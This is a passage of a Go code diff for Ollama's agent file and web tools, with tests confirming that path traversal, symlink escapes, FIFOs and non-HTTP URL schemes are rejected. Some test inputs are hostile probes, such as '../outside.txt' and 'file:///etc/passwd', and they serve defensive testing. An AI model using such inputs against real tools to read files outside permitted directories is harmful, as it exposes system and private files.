+	if err != nil && strings.Contains(err.Error(), "path escapes") {
+		return fmt.Errorf("path escapes working directory")
+	}
+	return err
+}
+
+func openWorkingRoot(workingDir string) (*os.Root, error) {
+	base, err := workingDirAbs(workingDir)
+	if err != nil {
+		return nil, err
+	}
+	return os.OpenRoot(base)
+}
+
+func writeAllAndSync(file *os.File, data []byte) error {
+	if _, err := file.Write(data); err != nil {
+		return err
+	}
+	return file.Sync()
+}
+
+func readAllWithinLimit(reader io.Reader, limit int) ([]byte, error) {
+	if limit < 0 {
+		limit = 0
+	}
+	content, err := io.ReadAll(io.LimitReader(reader, int64(limit)+1))
+	if err != nil {
+		return nil, err
+	}
+	if len(content) > limit {
+		return nil, fmt.Errorf("content is too large (%d byte limit)", limit)
+	}
+	return content, nil
+}
+
+func workingDirAbs(workingDir string) (string, error) {
+	base := workingDir
+	if base == "" {
+		var err error
+		base, err = os.Getwd()
+		if err != nil {
+			return "", err
+		}
+	}
+	return canonicalPath(base)
+}
+
+func canonicalPath(path string) (string, error) {
+	abs, err := filepath.Abs(path)
+	if err != nil {
+		return "", err
+	}
+	resolved, err := filepath.EvalSymlinks(abs)
+	if err == nil {
+		return resolved, nil
+	}
+	return abs, nil
+}
+
+type readSelection struct {
+	enabled bool
+	start   int
+	end     int
+}
+
+func readSelectionFromArgs(args map[string]any) (readSelection, error) {
+	selection := readSelection{start: 1}
+
+	if start, ok, err := intReadArg(args, "start"); err != nil {
+		return readSelection{}, err
+	} else if ok {
+		selection.enabled = true
+		selection.start = start
+	}
+	if end, ok, err := intReadArg(args, "end"); err != nil {
+		return readSelection{}, err
+	} else if ok {
+		selection.enabled = true
+		selection.end = end
+	}
+
+	if !selection.enabled {
+		return selection, nil
+	}
+	if selection.start < 1 {
+		return readSelection{}, fmt.Errorf("start must be greater than 0")
+	}
+	if selection.end > 0 && selection.end < selection.start {
+		return readSelection{}, fmt.Errorf("end must be greater than or equal to start")
+	}
+	return selection, nil
+}
+
+func readLineSelection(file *os.File, selection readSelection) (string, error) {
+	reader := bufio.NewReader(file)
+	var b strings.Builder
+	for lineNo := 1; ; {
+		line, err := reader.ReadSlice('\n')
+		if lineNo >= selection.start && (selection.end == 0 || lineNo <= selection.end) {
+			if b.Len()+len(line) > maxReadBytes {
+				return "", fmt.Errorf("selected content is too large (%d byte limit)", maxReadBytes)
+			}
+			b.Write(line)
+		}
+		if err != nil {
+			if err == bufio.ErrBufferFull {
+				continue
+			}
+			if err == io.EOF {
+				break
+			}
+			return "", err
+		}
+		if selection.end > 0 && lineNo >= selection.end {
+			break
+		}
+		lineNo++
+	}
+	return b.String(), nil
+}
+
+func intReadArg(args map[string]any, key string) (int, bool, error) {
+	value, ok := args[key]
+	if !ok {
+		return 0, false, nil
+	}
+	switch v := value.(type) {
+	case int:
+		return v, true, nil
+	case int64:
+		return int(v), true, nil
+	case float64:
+		if v != float64(int(v)) {
+			return 0, true, fmt.Errorf("%s must be a whole number", key)
+		}
+		return int(v), true, nil
+	case string:
+		v = strings.TrimSpace(v)
+		if v == "" {
+			return 0, false, nil
+		}
+		n, err := strconv.Atoi(v)
+		if err != nil {
+			return 0, true, fmt.Errorf("%s must be a whole number", key)
+		}
+		return n, true, nil
+	default:
+		return 0, true, fmt.Errorf("%s must be a whole number", key)
+	}
+}
+
+func plural(n int) string {
+	if n == 1 {
+		return ""
+	}
+	return "s"
+}

agent/tools/file_test.go

@@ -0,0 +1,338 @@
+package tools
+
+import (
+	"context"
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/ollama/ollama/agent"
+)
+
+func TestEditReplacesUniqueText(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "note.txt")
+	if err := os.WriteFile(path, []byte("hello world\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "note.txt",
+		"old_text": "hello",
+		"new_text": "hi",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !strings.Contains(result.Content, "Updated note.txt") {
+		t.Fatalf("result = %q", result.Content)
+	}
+
+	content, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(content) != "hi world\n" {
+		t.Fatalf("content = %q", content)
+	}
+}
+
+func TestEditRequiresUniqueMatchByDefault(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "note.txt")
+	if err := os.WriteFile(path, []byte("same same\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "note.txt",
+		"old_text": "same",
+		"new_text": "other",
+	})
+	if err == nil {
+		t.Fatal("expected ambiguous edit to fail")
+	}
+	if !strings.Contains(err.Error(), "matched 2 times") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestEditRejectsEscapingPath(t *testing.T) {
+	dir := t.TempDir()
+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "../outside.txt",
+		"old_text": "old",
+		"new_text": "new",
+	})
+	if err == nil {
+		t.Fatal("expected escaping path to fail")
+	}
+	if !strings.Contains(err.Error(), "path escapes working directory") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestEditRejectsSymlinkEscape(t *testing.T) {
+	dir := t.TempDir()
+	outside := t.TempDir()
+	if err := os.WriteFile(filepath.Join(outside, "note.txt"), []byte("old\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.Symlink(outside, filepath.Join(dir, "link")); err != nil {
+		t.Skipf("symlinks unavailable: %v", err)
+	}
+
+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     filepath.Join("link", "note.txt"),
+		"old_text": "old",
+		"new_text": "new",
+	})
+	if err == nil {
+		t.Fatal("expected symlink escape to fail")
+	}
+	if !strings.Contains(err.Error(), "path escapes working directory") {
+		t.Fatalf("err = %v", err)
+	}
+
+	content, err := os.ReadFile(filepath.Join(outside, "note.txt"))
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(content) != "old\n" {
+		t.Fatalf("outside content changed to %q", content)
+	}
+}
+
+func TestEditRejectsFinalSymlink(t *testing.T) {
+	dir := t.TempDir()
+	target := filepath.Join(dir, "target.txt")
+	if err := os.WriteFile(target, []byte("old\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	link := filepath.Join(dir, "link.txt")
+	if err := os.Symlink("target.txt", link); err != nil {
+		t.Skipf("symlinks unavailable: %v", err)
+	}
+
+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "link.txt",
+		"old_text": "old",
+		"new_text": "new",
+	})
+	if err == nil {
+		t.Fatal("expected final symlink edit to fail")
+	}
+	if !strings.Contains(err.Error(), "is a symlink") {
+		t.Fatalf("err = %v", err)
+	}
+	content, err := os.ReadFile(target)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if string(content) != "old\n" {
+		t.Fatalf("target content changed to %q", content)
+	}
+	info, err := os.Lstat(link)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if info.Mode()&os.ModeSymlink == 0 {
+		t.Fatalf("link mode = %v, want symlink", info.Mode())
+	}
+}
+
+func TestReadRejectsParentOutsideCurrentWorkingDir(t *testing.T) {
+	root := t.TempDir()
+	subdir := filepath.Join(root, "sub")
+	if err := os.Mkdir(subdir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(root, "note.txt"), []byte("hello"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: subdir}, map[string]any{
+		"path": "../note.txt",
+	})
+	if err == nil {
+		t.Fatal("expected parent path to fail")
+	}
+	if !strings.Contains(err.Error(), "path escapes working directory") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestReadRequiresApproval(t *testing.T) {
+	if !agent.ToolRequiresApproval((&Read{}), map[string]any{"path": "note.txt"}) {
+		t.Fatal("read should require approval")
+	}
+}
+
+func TestReadDefaultsToEntireFile(t *testing.T) {
+	dir := t.TempDir()
+	content := "one\ntwo\nthree\n"
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(content), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path": "note.txt",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != content {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadAllowsAbsolutePath(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "note.txt")
+	content := "one\ntwo\nthree\n"
+	if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"path": path,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != content {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadRejectsAbsoluteSymlink(t *testing.T) {
+	dir := t.TempDir()
+	target := filepath.Join(dir, "target.txt")
+	if err := os.WriteFile(target, []byte("hello\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	link := filepath.Join(dir, "alias")
+	if err := os.Symlink(target, link); err != nil {
+		t.Skipf("symlinks unavailable: %v", err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
+		"path": link,
+	})
+	if err == nil {
+		t.Fatal("expected absolute symlink to be rejected")
+	}
+	if !strings.Contains(err.Error(), "symlink") {
+		t.Fatalf("err = %v, want symlink rejection", err)
+	}
+}
+
+func TestReadStartEnd(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":  "note.txt",
+		"start": 2,
+		"end":   3,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != "two\nthree\n" {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadStartOnly(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":  "note.txt",
+		"start": 3,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != "three\nfour\n" {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadEndOnly(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path": "note.txt",
+		"end":  2,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if result.Content != "one\ntwo\n" {
+		t.Fatalf("content = %q", result.Content)
+	}
+}
+
+func TestReadSelectionRejectsHugeSingleLine(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(strings.Repeat("x", maxReadBytes+1)), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":  "note.txt",
+		"start": 1,
+		"end":   1,
+	})
+	if err == nil {
+		t.Fatal("expected huge selected line to fail")
+	}
+	if !strings.Contains(err.Error(), "selected content is too large") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestReadAllWithinLimitRejectsGrowingRead(t *testing.T) {
+	reader := io.MultiReader(
+		strings.NewReader(strings.Repeat("x", maxReadBytes)),
+		strings.NewReader("x"),
+	)
+
+	_, err := readAllWithinLimit(reader, maxReadBytes)
+	if err == nil {
+		t.Fatal("expected over-limit read to fail")
+	}
+	if !strings.Contains(err.Error(), "content is too large") {
+		t.Fatalf("err = %v", err)
+	}
+}
+
+func TestReadRejectsInvalidRange(t *testing.T) {
+	dir := t.TempDir()
+	if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":  "note.txt",
+		"start": 4,
+		"end":   2,
+	})
+	if err == nil {
+		t.Fatal("expected invalid range to fail")
+	}
+	if !strings.Contains(err.Error(), "end must") {
+		t.Fatalf("err = %v", err)
+	}
+}

agent/tools/file_unix_test.go

@@ -0,0 +1,121 @@
+//go:build !windows
+
+package tools
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"strings"
+	"syscall"
+	"testing"
+	"time"
+
+	"github.com/ollama/ollama/agent"
+)
+
+func TestOpenRegularFileRejectsFIFO(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "pipe")
+	if err := syscall.Mkfifo(path, 0o600); err != nil {
+		t.Skipf("mkfifo unavailable: %v", err)
+	}
+
+	done := make(chan error, 1)
+	go func() {
+		file, _, err := openRegularFile(dir, "pipe", false)
+		if file != nil {
+			file.Close()
+		}
+		done <- err
+	}()
+
+	select {
+	case err := <-done:
+		if err == nil {
+			t.Fatal("expected FIFO to be rejected")
+		}
+		if !strings.Contains(err.Error(), "not a regular file") {
+			t.Fatalf("err = %v", err)
+		}
+	case <-time.After(time.Second):
+		t.Fatal("openRegularFile blocked on FIFO")
+	}
+}
+
+func TestEditPreservesModeDespiteUmask(t *testing.T) {
+	oldUmask := syscall.Umask(0o077)
+	defer syscall.Umask(oldUmask)
+
+	dir := t.TempDir()
+	path := filepath.Join(dir, "note.txt")
+	if err := os.WriteFile(path, []byte("hello\n"), 0o666); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.Chmod(path, 0o666); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
+		"path":     "note.txt",
+		"old_text": "hello",
+		"new_text": "hi",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	info, err := os.Stat(path)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if got := info.Mode().Perm(); got != 0o666 {
+		t.Fatalf("mode = %#o, want 0666", got)
+	}
+}
+
+func TestReadRejectsSymlinkEscapingWorkingDir(t *testing.T) {
+	root := t.TempDir()
+	secret := filepath.Join(t.TempDir(), "secret.txt")
+	if err := os.WriteFile(secret, []byte("top secret\n"), 0o600); err != nil {
+		t.Fatal(err)
+	}
+	link := filepath.Join(root, "notes")
+	if err := os.Symlink(secret, link); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
+		"path": "notes",
+	})
+	if err == nil {
+		t.Fatal("expected symlink escaping working dir to be rejected")
+	}
+	if !strings.Contains(err.Error(), "symlink") {
+		t.Fatalf("err = %v, want symlink rejection", err)
+	}
+}
+
+func TestReadRejectsSymlinkInsideWorkingDirToOutside(t *testing.T) {
+	root := t.TempDir()
+	target := filepath.Join(root, "real.txt")
+	if err := os.WriteFile(target, []byte("hello\n"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	// A symlink to a sibling file still resolves inside the root; Read must
+	// reject it regardless, consistent with Edit's rejectFinalSymlink.
+	link := filepath.Join(root, "alias")
+	if err := os.Symlink(target, link); err != nil {
+		t.Fatal(err)
+	}
+
+	_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
+		"path": "alias",
+	})
+	if err == nil {
+		t.Fatal("expected symlink to be rejected even when target is inside root")
+	}
+	if !strings.Contains(err.Error(), "symlink") {
+		t.Fatalf("err = %v, want symlink rejection", err)
+	}
+}

agent/tools/skill.go

@@ -0,0 +1,38 @@
+package tools
+
+import (
+	"context"
+	"errors"
+
+	"github.com/ollama/ollama/agent"
+	"github.com/ollama/ollama/api"
+)
+
+// Skill is the model-facing adapter for the core agent skill catalog.
+// It only supplies instructions; regular tools retain their own approval
+// requirements for filesystem or network access.
+type Skill struct{ Catalog *agent.SkillCatalog }
+
+func (t *Skill) Name() string { return "skill" }
+
+func (t *Skill) Description() string {
+	return "Load a named Ollama skill and return its instructions."
+}
+
+func (t *Skill) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("name", api.ToolProperty{Type: api.PropertyType{"string"}, Description: "Name of the skill to load."})
+	return api.ToolFunction{Name: t.Name(), Description: t.Description(), Parameters: api.ToolFunctionParameters{Type: "object", Properties: props, Required: []string{"name"}}}
+}
+
+func (t *Skill) Execute(_ context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	name, ok := args["name"].(string)
+	if !ok {
+		return agent.ToolResult{}, errors.New("name parameter is required")
+	}
+	skill, err := t.Catalog.Load(name)
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+	return agent.ToolResult{Content: skill.Content()}, nil
+}

agent/tools/skill_test.go

@@ -0,0 +1,34 @@
+package tools
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/ollama/ollama/agent"
+)
+
+func TestSkillLoadsCoreCatalogWithoutApproval(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "release-notes")
+	if err := os.Mkdir(path, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(path, "SKILL.md"), []byte("---\nname: release-notes\ndescription: Draft release notes.\n---\nUse concise bullets."), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	catalog, err := agent.DiscoverSkills(dir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	tool := &Skill{Catalog: catalog}
+	if agent.ToolRequiresApproval(tool, map[string]any{"name": "release-notes"}) {
+		t.Fatal("loading a skill must not change ordinary tool approval semantics")
+	}
+	result, err := tool.Execute(context.Background(), agent.ToolContext{}, map[string]any{"name": "release-notes"})
+	if err != nil || !strings.Contains(result.Content, "Use concise bullets.") {
+		t.Fatalf("tool result = %#v, %v", result, err)
+	}
+}

agent/tools/web.go

@@ -0,0 +1,186 @@
+package tools
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"net/url"
+	"strings"
+	"time"
+
+	"github.com/ollama/ollama/agent"
+	"github.com/ollama/ollama/api"
+	internalcloud "github.com/ollama/ollama/internal/cloud"
+)
+
+const (
+	maxWebFetchContentRunes = 60_000
+	webSearchTimeout        = 15 * time.Second
+	webFetchTimeout         = 30 * time.Second
+)
+
+var ErrWebAuthRequired = errors.New("Not authenticated. Run `ollama signin` and try again.")
+
+type WebSearch struct{}
+
+func (w *WebSearch) Name() string {
+	return "web_search"
+}
+
+func (w *WebSearch) Description() string {
+	return "Search the web for current information that may not be in the model's training data."
+}
+
+func (w *WebSearch) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("query", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "The search query to look up on the web.",
+	})
+	return api.ToolFunction{
+		Name:        w.Name(),
+		Description: w.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"query"},
+		},
+	}
+}
+
+func (w *WebSearch) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (w *WebSearch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	// TODO: use shared agent.RequiredStringArg for the "query" parameter (see agent package cleanup plan).
+	if internalcloud.Disabled() {
+		return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web search is unavailable"))
+	}
+	query, ok := args["query"].(string)
+	if !ok || strings.TrimSpace(query) == "" {
+		return agent.ToolResult{}, fmt.Errorf("query parameter is required")
+	}
+
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	ctx, cancel := context.WithTimeout(ctx, webSearchTimeout)
+	defer cancel()
+
+	searchResp, err := client.WebSearchExperimental(ctx, &api.WebSearchRequest{Query: query, MaxResults: 5})
+	if err != nil {
+		var authErr api.AuthorizationError
+		if errors.As(err, &authErr) {
+			return agent.ToolResult{}, ErrWebAuthRequired
+		}
+		return agent.ToolResult{}, err
+	}
+	if len(searchResp.Results) == 0 {
+		return agent.ToolResult{Content: "No results found for query: " + query}, nil
+	}
+
+	var sb strings.Builder
+	sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query))
+	for i, result := range searchResp.Results {
+		sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title))
+		sb.WriteString(fmt.Sprintf("   URL: %s\n", result.URL))
+		if result.Content != "" {
+			content := []rune(result.Content)
+			if len(content) > 300 {
+				content = append(content[:300], []rune("...")...)
+			}
+			sb.WriteString(fmt.Sprintf("   %s\n", string(content)))
+		}
+		sb.WriteByte('\n')
+	}
+	return agent.ToolResult{Content: sb.String()}, nil
+}
+
+type WebFetch struct{}
+
+func (w *WebFetch) Name() string {
+	return "web_fetch"
+}
+
+func (w *WebFetch) Description() string {
+	return "Fetch and extract text content from a web page."
+}
+
+func (w *WebFetch) Schema() api.ToolFunction {
+	props := api.NewToolPropertiesMap()
+	props.Set("url", api.ToolProperty{
+		Type:        api.PropertyType{"string"},
+		Description: "The URL to fetch and extract content from.",
+	})
+	return api.ToolFunction{
+		Name:        w.Name(),
+		Description: w.Description(),
+		Parameters: api.ToolFunctionParameters{
+			Type:       "object",
+			Properties: props,
+			Required:   []string{"url"},
+		},
+	}
+}
+
+func (w *WebFetch) RequiresApproval(map[string]any) bool {
+	return true
+}
+
+func (w *WebFetch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
+	// TODO: use shared agent.RequiredStringArg for the "url" parameter (see agent package cleanup plan).
+	if internalcloud.Disabled() {
+		return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web fetch is unavailable"))
+	}
+	urlStr, ok := args["url"].(string)
+	if !ok || strings.TrimSpace(urlStr) == "" {
+		return agent.ToolResult{}, fmt.Errorf("url parameter is required")
+	}
+	parsed, err := url.Parse(urlStr)
+	if err != nil {
+		return agent.ToolResult{}, fmt.Errorf("invalid URL: %w", err)
+	}
+	if scheme := strings.ToLower(parsed.Scheme); scheme != "http" && scheme != "https" {
+		return agent.ToolResult{}, fmt.Errorf("unsupported URL scheme %q: only http and https are allowed", parsed.Scheme)
+	}
+
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return agent.ToolResult{}, err
+	}
+
+	ctx, cancel := context.WithTimeout(ctx, webFetchTimeout)
+	defer cancel()
+
+	fetchResp, err := client.WebFetchExperimental(ctx, &api.WebFetchRequest{URL: urlStr})
+	if err != nil {
+		var authErr api.AuthorizationError
+		if errors.As(err, &authErr) {
+			return agent.ToolResult{}, ErrWebAuthRequired
+		}
+		return agent.ToolResult{}, err
+	}
+
+	var sb strings.Builder
+	if fetchResp.Title != "" {
+		sb.WriteString(fmt.Sprintf("Title: %s\n\n", fetchResp.Title))
+	}
+	if fetchResp.Content != "" {
+		sb.WriteString("Content:\n")
+		sb.WriteString(truncateWebFetchContent(fetchResp.Content))
+	} else {
+		sb.WriteString("No content could be extracted from the page.")
+	}
+	return agent.ToolResult{Content: sb.String()}, nil
+}
+
+func truncateWebFetchContent(content string) string {
+	return agent.Truncate(content, agent.TruncateConfig{
+		MaxRunes: maxWebFetchContentRunes,
+		Label:    "tool output",
+		Hint:     "Use a narrower request or search query if more detail is needed.",
+	})
+}

agent/tools/web_test.go

@@ -0,0 +1,214 @@
+package tools
+
+import (
+	"encoding/json"
+	"errors"
+	"net/http"
+	"net/http/httptest"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	coreagent "github.com/ollama/ollama/agent"
+	"github.com/ollama/ollama/api"
+	"github.com/ollama/ollama/envconfig"
+	internalcloud "github.com/ollama/ollama/internal/cloud"
+)
+
+func TestWebToolsRequireApproval(t *testing.T) {
+	if !coreagent.ToolRequiresApproval((&WebSearch{}), map[string]any{"query": "ollama"}) {
+		t.Fatal("web search should require approval")
+	}
+	if !coreagent.ToolRequiresApproval((&WebFetch{}), map[string]any{"url": "https://ollama.com"}) {
+		t.Fatal("web fetch should require approval")
+	}
+}
+
+var webToolCases = []struct {
+	name      string
+	tool      coreagent.Tool
+	args      map[string]any
+	path      string
+	operation string
+}{
+	{"search", &WebSearch{}, map[string]any{"query": "ollama"}, "/api/experimental/web_search", "web search is unavailable"},
+	{"fetch", &WebFetch{}, map[string]any{"url": "https://ollama.com"}, "/api/experimental/web_fetch", "web fetch is unavailable"},
+}
+
+// enableWebToolsForTest isolates web tool tests from the runner's cloud
+// policy. In particular, Windows can inherit both OLLAMA_NO_CLOUD and a
+// server.json from USERPROFILE.
+func enableWebToolsForTest(t *testing.T) {
+	t.Helper()
+
+	// Register before t.Setenv so the cache is refreshed after t.Setenv has
+	// restored the runner's environment during cleanup.
+	t.Cleanup(envconfig.ReloadServerConfig)
+
+	home := t.TempDir()
+	t.Setenv("HOME", home)
+	t.Setenv("USERPROFILE", home)
+	t.Setenv("OLLAMA_NO_CLOUD", "")
+	envconfig.ReloadServerConfig()
+}
+
+// runWebTool executes tool against a stub server that responds to every
+// request with status and body, returning the resulting error.
+func runWebTool(t *testing.T, tool coreagent.Tool, args map[string]any, path string, status int, body string) error {
+	t.Helper()
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if r.URL.Path != path {
+			t.Fatalf("path = %q, want %q", r.URL.Path, path)
+		}
+		w.Header().Set("Content-Type", "application/json")
+		w.WriteHeader(status)
+		_, _ = w.Write([]byte(body))
+	}))
+	t.Cleanup(ts.Close)
+	t.Setenv("OLLAMA_HOST", ts.URL)
+	_, err := tool.Execute(t.Context(), coreagent.ToolContext{}, args)
+	return err
+}
+
+func TestWebToolsReportAuthenticationError(t *testing.T) {
+	enableWebToolsForTest(t)
+
+	for _, tt := range webToolCases {
+		t.Run(tt.name, func(t *testing.T) {
+			err := runWebTool(t, tt.tool, tt.args, tt.path, http.StatusUnauthorized,
+				`{"error":"unauthorized","signin_url":"https://ollama.com/signin"}`)
+			if !errors.Is(err, ErrWebAuthRequired) {
+				t.Fatalf("error = %v, want %v", err, ErrWebAuthRequired)
+			}
+		})
+	}
+}
+
+func TestWebToolsPreserveNonAuthenticationErrors(t *testing.T) {
+	enableWebToolsForTest(t)
+
+	for _, tt := range webToolCases {
+		t.Run(tt.name, func(t *testing.T) {
+			err := runWebTool(t, tt.tool, tt.args, tt.path, http.StatusTooManyRequests,
+				`{"error":"web search quota exceeded"}`)
+			if err == nil {
+				t.Fatal("expected error")
+			}
+			if !strings.Contains(err.Error(), "web search quota exceeded") {
+				t.Fatalf("error = %q, want original error message", err)
+			}
+		})
+	}
+}
+
+func TestWebToolsIgnoreInheritedCloudPolicy(t *testing.T) {
+	// This cleanup is registered before the test environment, so it restores
+	// the server config cache after t.Setenv restores the runner's values.
+	t.Cleanup(envconfig.ReloadServerConfig)
+
+	home := t.TempDir()
+	configPath := filepath.Join(home, ".ollama", "server.json")
+	if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(configPath, []byte(`{"disable_ollama_cloud":true}`), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	t.Setenv("HOME", home)
+	t.Setenv("USERPROFILE", home)
+	t.Setenv("OLLAMA_NO_CLOUD", "1")
+	envconfig.ReloadServerConfig()
+
+	enableWebToolsForTest(t)
+	err := runWebTool(t, &WebSearch{}, map[string]any{"query": "ollama"}, "/api/experimental/web_search", http.StatusUnauthorized,
+		`{"error":"unauthorized","signin_url":"https://ollama.com/signin"}`)
+	if !errors.Is(err, ErrWebAuthRequired) {
+		t.Fatalf("error = %v, want %v", err, ErrWebAuthRequired)
+	}
+}
+
+func TestWebFetchRejectsUnsupportedScheme(t *testing.T) {
+	enableWebToolsForTest(t)
+
+	tests := []struct {
+		name    string
+		url     string
+		wantErr bool
+	}{
+		{name: "file scheme", url: "file:///etc/passwd", wantErr: true},
+		{name: "data scheme", url: "data:text/plain,secret", wantErr: true},
+		{name: "ftp scheme", url: "ftp://example.com/secret", wantErr: true},
+		{name: "http allowed", url: "http://example.com", wantErr: false},
+		{name: "https allowed", url: "https://example.com", wantErr: false},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			_, err := (&WebFetch{}).Execute(t.Context(), coreagent.ToolContext{}, map[string]any{"url": tt.url})
+			if tt.wantErr && err == nil {
+				t.Fatal("expected unsupported scheme to be rejected")
+			}
+			// For allowed schemes we expect an error only from the missing
+			// server/auth path, not from scheme validation. The http/https
+			// cases reach the client and may fail on connection/auth; we only
+			// assert that the error is NOT a scheme error.
+			if !tt.wantErr && err != nil && strings.Contains(err.Error(), "unsupported URL scheme") {
+				t.Fatalf("http/https rejected as unsupported: %v", err)
+			}
+		})
+	}
+}
+
+func TestWebFetchBoundsContentBeforeReturning(t *testing.T) {
+	enableWebToolsForTest(t)
+
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
